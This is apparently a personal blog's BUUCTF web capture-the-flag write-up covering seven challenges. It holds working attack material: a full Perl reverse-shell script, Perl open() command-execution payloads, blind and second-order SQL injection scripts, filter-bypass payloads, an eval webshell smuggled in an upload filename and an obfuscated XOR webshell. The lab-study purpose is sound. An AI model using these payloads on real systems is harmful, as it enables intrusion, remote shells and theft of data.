BUUCTF-web刷题Ⅲ

BUUCTF-web刷题Ⅲ

BUU刷题记录之三了,刷题果然开眼界,不过… 我好菜😐,不是那个蔡😒

[HITCON 2017]SSRFme

主要考察Perl下存在的漏洞:CVE-2016-1238open命令导致命令执行的漏洞。利用此漏洞进行SSRF。

题目分析

进入题目,给出了如下的源码:

<?php 
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

同时也给出了REMOTE_ADDR,这在后面解题用得到。
分析代码我们可以梳理出其逻辑:

1.基于REMOTE_ADDR创建沙箱文件夹;
2.将传入的URL带入命令GET执行。这里的GET命令是Lib for WWW in Perl中的命令,目的是模拟httpGET请求;
3.利用pathinfo函数解析传入的filename参数,获取路径名最后一层文件夹创建并进入该路径;
4.利用basename函数获取filename传参内容的最后以及文件夹名称;
5.利用​file_put_contents函数GET命令执行的结果写入以filename中的文件名命名的文件中。

这一道题涉及的知识之前没遇到过,需要好好学一学,参考网上的题解得知有两种解题思路:

  • 利用Perl5的一个CVE
  • 利用Perlopen命令进行命令执行

利用CVE-2016-1238

漏洞大致构成原因是:`

当解析遇到了非定义的协议(定义的协议在perl5/LWP/Protocol文件夹下可以看到,默认支持GHTTPcpandatafileftpgopherhttphttpsloopbackmailtonntpnogo协议)时, 如GGBON://ggb0n.com,会自动读取当前目录下的URI目录并查看是否有对应协议的pm模块并尝试eval "require xxx",这里我们的恶意pm模块就会被执行。

借此漏洞构造一个反弹shell的perl脚本放到自己的VPS上:

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";

# Where to send the reverse shell. Change these.
my $ip = '127.0.0.1';
my $port = 12345;

# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);

# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";

# Change the process name to be less conspicious
$0 = "[httpd]";

# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}

# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}

setsid();
chdir('/');
umask(0);
}

# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}

# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));

# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}

# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}

# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
}

然后利用代码的逻辑构造payload:

/?url=your vps's perl backdoor&filename=URI/ggb0n.pm

这就在沙箱文件夹的URL下写入了反弹shell的pm文件,最后在个人的VPS上监听pm文件中写好的端口并构造如下的payload进行访问:

/?url=GGBON://ggb0n.com&filename=xxx

即可拿到shell。
注意:这里的GGBON可以为任意的不属于上面说到的可以解析的字符串。

利用perl的open命令进行SSRF

首先扩展一下open命令导致命令执行的过程,参考网上的资料:

Executing Programs with “open”
In addition to what we saw last week, the “open” command has one more very
powerful application: it allows you to execute a command, send input and
receive output.
Try this program (it only works on Unix):

#!/usr/bin/perl -w
use strict;

open DATA, "who |" or die "Couldn't execute program: $!";
while ( defined( my $line = <DATA> ) ) {
chomp($line);
print "$line\n";
}
close DATA;

Here’s what happened: Perl saw that your “file” ended with a “pipe” (verticalbar) character. So it interpreted the “file” as a command to be executed, and interpreted the command’s output as the “file”‘s contents. The command is “who” (which prints information on currently logged-in users). If you execute that command, you will see that the output is exactly what the Perl program gave you.

In this case, we “read” data from the command. To execute a command that we can “write” (send data) to, we should place a pipe character BEFORE the command. These options are mutually exclusive: we can read from a command or write to it, but not both.

In the Unix world, a lot can be done by piping the output of one program into the input of another. Perl continues this spirit.

Note that we can also send command-line parameters to the command, like this:

open DATA, "who -H |"    or die "Couldn't execute program: $!";

In fact, Perl allows you to use “open” to do pretty much anything you would normally do on the command-line, as this example demonstrates:

open OUTPUT, "| grep 'foo' > result.txt"     or die "Failure: $!";

We can then write whatever we want to the “OUTPUT” filehandle. The Unix “grep” command will filter out any text which doesn’t contain the text “foo”; any text which DOES contain “foo” will be written to “result.txt”.

perl下open命令的feature代码处理file协议的代码在perl5/LWP/Protocol/file.pm下:

...
#第47行
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
unless (-r _) {
return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
'User does not have read permission');
}
...
#第127行
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode(F);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread(F, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close(F);
}
...

首先得满足前面的文件存在, 才会继续到open语句, 所以在执行命令前得保证有相应的同名文件, 所以先请求:

/?url=file:bash -c /readflag|&filename=bash -c /readflag|

然后请求如下的payload来创建相应的同名文件:

/?url=file:bash -c /readflag|&filename=123

最后利用open的feature执行代码访问/sandbox/哈希值/123就能得到flag。

其实还不是很懂,先留在这,再慢慢学习。

[RoarCTF 2019]Online Proxy

XFF处存在二次注入

解题

进入题目查看源码发现:

<!-- Debug Info: 
Duration: 0.029144048690796 s
Current Ip: 174.0.81.45 -->

这里提示当前的IP,想到利用工具改一下XFF试试,结果发现回显如下:

<!-- Debug Info: 
Duration: 0.035063982009888 s
Current Ip: 127.0.0.1
Last Ip: 174.0.81.45 -->

说明了上一个IP被记录了起来,当然也只能是记录在数据库中,那么如果构造一个SQL注入语句的XFF头上传,然后再随便换一个XFF头访问,不就是可以出发二次注入了吗,最终用赵师傅的脚本跑出了结果。
参考赵师傅的脚本:

import requests

target = "http://node3.buuoj.cn:28041/"

def execute_sql(sql):
print("[*]请求语句:" + sql)
return_result = ""

payload = "0'|length((" + sql + "))|'0"
session = requests.session()
r = session.get(target, headers={'X-Forwarded-For': payload})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'})
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
length = int(r.text[start_pos + 9: end_pos])
print("[+]长度:" + str(length))

for i in range(1, length + 1, 5):
payload = "0'|conv(hex(substr((" + sql + ")," + str(i) + ",5)),16,10)|'0"

r = session.get(target, headers={'X-Forwarded-For': payload}) # 将语句注入
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # 查询上次IP时触发二次注入
r = session.get(target, headers={'X-Forwarded-For': 'glzjin'}) # 再次查询得到结果
start_pos = r.text.find("Last Ip: ")
end_pos = r.text.find(" -->", start_pos)
result = int(r.text[start_pos + 9: end_pos])
return_result += bytes.fromhex(hex(result)[2:]).decode('utf-8')

print("[+]位置 " + str(i) + " 请求五位成功:" + bytes.fromhex(hex(result)[2:]).decode('utf-8'))

return return_result


# 获取数据库
print("[+]获取成功:" + execute_sql("SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e'"))

# 获取数据库表
print("[+]获取成功:" + execute_sql("SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'F4l9_D4t4B45e' AND TABLE_NAME = 'F4l9_t4b1e' "))

# 获取表中内容
print("[+]获取成功:" + execute_sql("SELECT group_concat(F4l9_C01uMn) FROM F4l9_D4t4B45e.F4l9_t4b1e"))

[Black Watch 入群题]Web

考察异或注入

题目分析

进入题目看到如下的界面:

点击热点列表里面的字的时候会跳转到另一个页面,同时还有登录页面,起初猜测是注入是在登录页面,那里通过JSON对username和password进行传参,前面做了JSON中进行注入的题目,但是这道题的注入点其实是在跳转的那个页面,抓包可以发现:

这个页面是利用GET方式直接进行id传参的,存在注入的可能性更大,后来印证是异或注入,用脚本跑。

解题脚本

import requests
import urllib
import sys
from time import sleep

# if correct , return empty, else return something
url = "http://c385297f-15e1-4d95-a39b-3f2aa03b3822.node3.buuoj.cn/backend/content_detail.php?id="
#payload = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))>{1})"
# [+] -->admin,contents<--
#payload = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),{0},1))>{1})"
# id,title,content,is_enable
#payload = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='admin')),{0},1))>{1})"
# id,username,password,is_enable
#payload = "1^(ord(substr((select(group_concat(password))from(admin)),{0},1))>{1})"
payload = "1^(ord(substr((select(group_concat(username))from(admin)),{0},1))>{1})"

result = ""
index = 1
while True:
u_bound = 255; l_bound = 0
while u_bound >= l_bound:
m_bound = (u_bound + l_bound) // 2
payload_tmp = payload.format(index, m_bound)
url_tmp = url + urllib.parse.quote(payload_tmp)
res = requests.get(url_tmp).content.decode('utf8')
# print(res)
# exit(0)

# sleep(1)

if "title" in res:
u_bound = m_bound - 1
tmp = m_bound
else:
l_bound = m_bound + 1
# print(tmp)
result += chr(tmp)
index += 1
# sys.stdout.write("[+] -->%s<--\r" % (result))
# sys.stdout.flush()
print(result)

跑出来两组用户名和密码,组合尝试就行了。

[HarekazeCTF2019]encode_and_encode

考察通过JSON转义字符串绕过

题目分析

进入题目,在第三个按钮看到源码:

<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

通过审计代码发现,is_valid()函数中通过黑名单过滤了一些字符串,基本上都是可能用到的协议。
然后我们发现body的值是通过file_get_contents('php://input')传过来的,查了一下涨知识了:

如果POST的原始数据是一维数组或&拼接的标准格式的键值对字符串,那么可以用$_POST来获取。如果发送json字符串,一般要通过file_get_contents获取。

因为这里是通过JSON编码传输的,因此用这种方式,然后对body的值进行解码并赋值给json。然后再利用自定义的is_valid()函数进行判断,并且可以看出json中有page这个键值对。
思路就很明显了,我们需要通过JSON传输数据来读取到flag,这里就需要用到php的伪协议了,但是php已经被ban了,但是的但是:\uXXXX可以在JSON中转义字符,例如A=\u0041,因此利用这个特性来进行绕过。

解题

最终构造的payload如下:

{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
/* \u0070\u0068\u0070表示php;\u0066\u006c\u0061\u0067表示flag */

成功拿到flag:

[CISCN 2019]Easyweb

敏感文件泄露,文件上传时短标签绕过php过滤

题目分析

进入题目,访问robots.txt发现源码备份文件,下载到iamge.php.bak,源码如下:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

审计代码发现应该需要进行sql注入,但是单引号被过滤掉了。由于转义函数addslashes的存在,同时\0'被过滤,所以可以输入\0,经过addslashes函数会先变成\\0,然后经过str_replace函数,会变成\,这样,就把id后面的单引号给转义了。所以可以构造类似下面的payload:

http://a215b254-c237-4670-a4cc-9dfea3d34f26.node3.buuoj.cn/image.php?id=\0'&path= or 1=1%23

后台执行的sql语句便是:

select * from images where id='\' or path=' or 1=1#

从而绕过了过滤,那么利用这一点写脚本注入:

import requests
import time
name=''
for j in range(1,21):
l = 32
h = 127
while abs(l-h)>1:
i=int((l+h)/2)
url="http://a215b254-c237-4670-a4cc-9dfea3d34f26.node3.buuoj.cn/image.php?id=\\0'&path= or ascii(substr((select password from users),"+str(j)+",1))>"+str(i)+"%23"
r = requests.get(url)
time.sleep(0.005)
if r.status_code=='429':
print('to fast')
if not 'Content-Length' in r.headers:
l = i
else:
h = i
name += chr(h)
print(name)

拿到密码之后,用admin身份登录,发现需要进行文件上传,并且会将文件名和用户名写入日志文件。由于日志文件的格式是php的,因此考虑写入shell。
这里由于用户名已经是admin不可变的,那就需要在文件名上做手脚,但是文件名进行了php/i的过滤,此处利用短标签绕过:

filename="<?=$_GET['cmd']; eval($_POST['cmd']); ?>"

关于短标签扩展一下:

短标签<? ?>需要php.ini开启short_open_tag = On,但<?= ?>不受该条控制。

上传小马之后,得到如下的文件名,然后蚁剑连接拿到shell,即可拿到flag。

[GXYCTF2019]BabySQli

考察点:多次编码(base32、base64),union select注入结合md5通过后台判断。

题目分析

随便输入用户名密码后,查看源码发现一串base32:

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

解码之后:

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

再通过base64解码:

select * from user where username = '$name'

由此可见,在username处存在注入点。
用常规的注入测试一下:

' union select 1,2,3%23

提示wrong user,接着我们把admin分别替换1、2、3的位置,发现替换2的时候报错变成wrong pass说明了username就是在第二个位置,原题提示了md5,肯定是对密码进行了哈希,那么可以推断,3处应该替换为密码的哈希值。
那么我们利用上面的语句,再把随便输入的密码的md5值替换到3的位置,在后头就能构成满足后端判断的查询语句了。

解题

随便找个密码以及密码的md5值,这里用的是123456/e10adc3949ba59abbe56e057f20f883e,最终payload如下:

' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'%23

username处输入payload,password输入123456即可拿到flag。

[SUCTF 2018]GetShell

利用异或构造webshell,参考上一篇博客的知识点。
fuzz脚本

<?php
header('Content-Type: text/html; charset=utf-8');
$str = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,厦门的海风伴着妮妲路过后带来的淅淅沥沥的小雨,也去不走我身上任何一个毛孔里的热气。好在旅社的生活用品一应俱全,洗完澡后我爬到屋顶。旅社是一个老别墅,说起来也不算老,比起隔壁一家旧中国时期的房子要豪华得多,竖立在笔山顶上与厦门岛隔海相望。站在屋顶向下看,灯火阑珊的鼓浪屿街市参杂在绿树与楼宇间,依稀还可以看到熙熙攘攘的游客。大概是夜晚渐深的缘故,周围慢慢变得宁静下来,我忘记白天在奔波什么,直到站在这里的时候,我才知道我寻找的答案并不在南方。当然也不在北方,北京的很多东西让我非常丧气,包括自掘坟墓的中介和颐指气使的大人们;北京也有很多东西让我喜欢,我喜欢颐和园古色古香的玉澜堂,我喜欢朝阳门那块“永延帝祚”的牌坊,喜欢北京鳞次栉比的老宅子和南锣鼓巷的小吃。但这些都不是我要的答案,我也不知道我追随的是什么,但想想百年后留下的又是什么,想想就很可怕。我曾经为了吃一碗臭豆腐,坐着优步从上地到北海北,兴冲冲地来到那个垂涎已久的豆腐摊前,用急切又害羞的口吻对老板说,来两份量的臭豆腐。其实也只要10块钱,吃完以后便是无与伦比的满足感。我记得那是毕业设计审核前夕的一个午后,五月的北京还不算炎热,和煦的阳光顺着路边老房子的屋檐洒向大地,但我还是不敢站在阳光下,春天的燥热难耐也绝不输给夏天。就像很多人冷嘲热讽的那样,做这一行谁敢把自己完全曝光,甭管你是黑帽子白帽子还是绿帽子。生活在那个时候还算美好,我依旧是一个学生,几天前辞别的同伴还在朝九晚五的工作,一切都照旧运行,波澜不远走千里吃豆腐这种理想主义的事情这几年在我身上屡屡发生,甚至南下此行也不例外。一年前的这个时候我许过一个心愿,在南普陀,我特为此来还愿。理想化、单纯与恋旧,其中单纯可不是一个多么令人称赞的形容,很多人把他和傻挂钩。“你太单纯了,你还想着这一切会好起来”,对呀,在男欢女爱那些事情上,我可不单纯,但有些能让人变得圆滑与世故的抉择中,我宁愿想的更单纯一些。去年冬天孤身一人来到北京,放弃了在腾讯做一个安逸的实习生的机会,原因有很多也很难说。在腾讯短暂的实习生活让我记忆犹新,我感觉这辈子不会再像一个小孩一样被所有人宠了,这些当我选择北漂的时候应该就要想到的。北京的冬天刺骨的寒冷,特别是2015年的腊月,有几天连续下着暴雪,路上的积雪一踩半步深,咯吱咯吱响,周遭却静的像深山里的古刹。我住的小区离公司有一段距离,才下雪的那天我甚至还走着回家。北京的冬天最可怕的是寒风,走到家里耳朵已经硬邦邦好像一碰就会碎,在我一头扎进被窝里的时候,我却慢慢喜欢上这个古都了。我想到《雍正皇帝》里胤禛在北京的鹅毛大雪里放出十三爷,那个拼命十三郎带着令牌取下丰台大营的兵权,保了大清江山盛世的延续与稳固。那一夜,北京的漫天大雪绝不逊于今日,而昔人已作古,来者尚不能及,多么悲哀。这个古都承载着太多历史的厚重感,特别是下雪的季节,我可以想到乾清宫前广场上千百年寂寞的雕龙与铜龟,屋檐上的积雪,高高在上的鸱吻,想到数百年的沧桑与朝代更迭。雪停的那天我去了颐和园,我记得我等了很久才摇摇摆摆来了一辆公交车,车上几乎没有人,司机小心翼翼地转动着方向盘,在湿滑的道路上缓慢前行。窗外白茫茫一片,阳光照在雪地上有些刺眼,我才低下头。颐和园的学生票甚至比地铁票还便宜。在昆明湖畔眺望湖面,微微泛着夕阳霞光的湖水尚未结冰,踩着那些可能被御碾轧过的土地,滑了无数跤,最后只能扶着湖边的石狮子叹气,为什么没穿防滑的鞋子。昆明湖这一汪清水,见证了光绪皇帝被囚禁十载的蹉跎岁月,见证了静安先生誓为先朝而自溺,也见证了共和国以来固守与开放的交叠。说起来,家里有本卫琪著的《人间词话典评》,本想买来瞻仰一下王静安的这篇古典美学巨著,没想到全书多是以批判为主。我自诩想当文人的黑客,其实也只是嘴里说说,真到评说文章是非的时候,我却张口无词。倒是誓死不去发,这点确实让我无限感慨:中国士大夫的骨气,真的是从屈原投水的那一刻就奠定下来的。有句话说,古往今来中国三大天才死于水,其一屈原,其二李白,其三王国维。卫琪对此话颇有不服,不纠结王国维是否能够与前二者相提并论,我单喜欢他的直白,能畅快评说古今词话的人,也许无出其右了吧。人言可畏、人言可畏,越到现代越会深深感觉到这句话的正确,看到很多事情的发展往往被舆论所左右,就越羡慕那些无所畏惧的人,不论他们是勇敢还是自负。此间人王垠算一个,网络上人们对他毁誉参半,但确实有本事而又不矫揉做作,放胆直言心比天高的只有他一个了。那天在昆明湖畔看过夕阳,直到天空变的无比深邃,我才慢慢往家的方向走。耳机放着后弦的《昆明湖》,不知不觉已经十年了,不知道这时候他有没有回首望望自己的九公主和安娜,是否还能够“泼墨造一匹快马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之。”';
for($i=0; $i<mb_strlen($str, 'utf-8'); $i++)
{
$st = mb_substr($str, $i,1, 'utf-8');
$a = ~($st);
$b = $a[1]; #取汉字的第一位
if($b==$_GET['a']) #$_GET['a']想要得到的字符
{
echo $st;exit;
}
}
?>

构造webshell

<?php
$__=[];
$___=[];
$_=$__==$___;//true = 1 用作索引

$__=~(瞰);
$___=$__[$_];//a
$__=~(北);
$___.=$__[$_].$__[$_];//ss
$__=~(的);
$___.=$__[$_];//e
$__=~(半);
$___.=$__[$_];//r
$__=~(拾);
$___.=$__[$_];//t

$____=~(~(_));//_
$__=~(说);
$____.=$__[$_];//P
$__=~(小);
$____.=$__[$_];//O
$__=~(次);
$____.=$__[$_];//S
$__=~(站);
$____.=$__[$_];//T

$_=$$____;
$___($_[_]);
?>

这题还没复现成功,后续会补充…

Comments


:D 一言句子获取中...

Loading...Wait a Minute!